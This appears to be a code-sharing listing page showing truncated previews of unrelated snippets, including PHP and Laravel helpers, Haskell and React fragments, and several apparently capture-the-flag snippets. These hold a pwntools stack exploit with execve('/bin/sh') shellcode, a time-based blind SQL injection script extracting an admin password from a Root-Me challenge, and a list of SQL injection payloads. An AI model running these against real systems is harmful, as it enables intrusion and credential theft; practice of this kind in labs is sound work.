This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// dump array key -> value without noise | |
function pprint($array) { | |
echo "<pre style=\"background-color: #ddd;\">"; | |
print_r($array); | |
echo "</pre>"; | |
} | |
function randomString($length) { | |
if (gettype($length) !== 'integer') { | |
$length = 30; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
public function curl($method, $id, $custom, $body) { | |
ob_start(); | |
$curl = curl_init(); | |
if ($id) $$url .= $id; | |
if ($custom) $url .= $custom; | |
$headers = [ | |
'Content-Type: application/json', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Main where | |
main :: IO () | |
main = do | |
putStrLn (greet "hello world") | |
putStrLn (greet "viet") | |
fac :: (Integral a) => a -> a | |
fac 0 = 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Enhancer.js | |
import { transform } from 'magic'; | |
export const Enhancer = WrappedComponent => | |
class EnhancedComponent { | |
// ... | |
const transformedProps = transform(this.props); | |
render() { | |
return <WrappedComponent ...transformedProps />; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import struct, sys | |
p = process("./ret2stack") | |
nop_sled = '\x90' * 16 | |
shellcode = '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
instructions | |
1. basic arithmetic | |
- and rga, rgb, arg ; rga = rgb & arg | |
- eor _ ; ^ | |
- sub _ ; - | |
- rsb _ ; rga = arg - rgb | |
- add _ ; + | |
- adc _ ; + + carry |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import requests | |
baseurl = 'http://challenge01.root-me.org/web-serveur/ch40/' | |
inject = '1; select case when %s then pg_sleep(15) else pg_sleep(0) end--' | |
cond1 = '(chr(%d) = substr((select password from users where username = $$admin$$), %d, 1))' | |
cond2 = '((select chr(117)||chr(115)||chr(101)||chr(114)||chr(115)) in (select table_name from information_schema.tables))' | |
cond3 = '(%d < (select char_length((select password from users where username = $$admin$$))))' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
select 1,2,grantee, is_grantable from information_schema.user_privileges where privilege_type = conv(0x66696c65,16,2)-- | |
and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_name = 0x6d656d626572 limit 1 offset 2)))-- | |
union all select group_concat(table_name from information_schema.tables) | |
select string_agg(column_name, chr(20)) from information_schema.columns where table_name = $$users$$ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
composer create-project --prefer-dist laravel/laravel MyProject | |
@@@@@@@@@@@@@@@@@@ | |
php artisan make:model MyModel | |
php artisan make:model MyModel --migration | |
php artisan make:migration create_models_table --table=models | |
php artisan make:controller MyModelController --model=Model |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- create folder Helpers under app\ | |
- create new class Helper {} | |
- include inside config\app.php | |
'Helper' => App\Helpers\Helper::class, | |
- usage: | |
use Helper; | |
$h = new Helper(); | |
$h->stuff(); | |
- create new file Helpers\helpers.php |
NewerOlder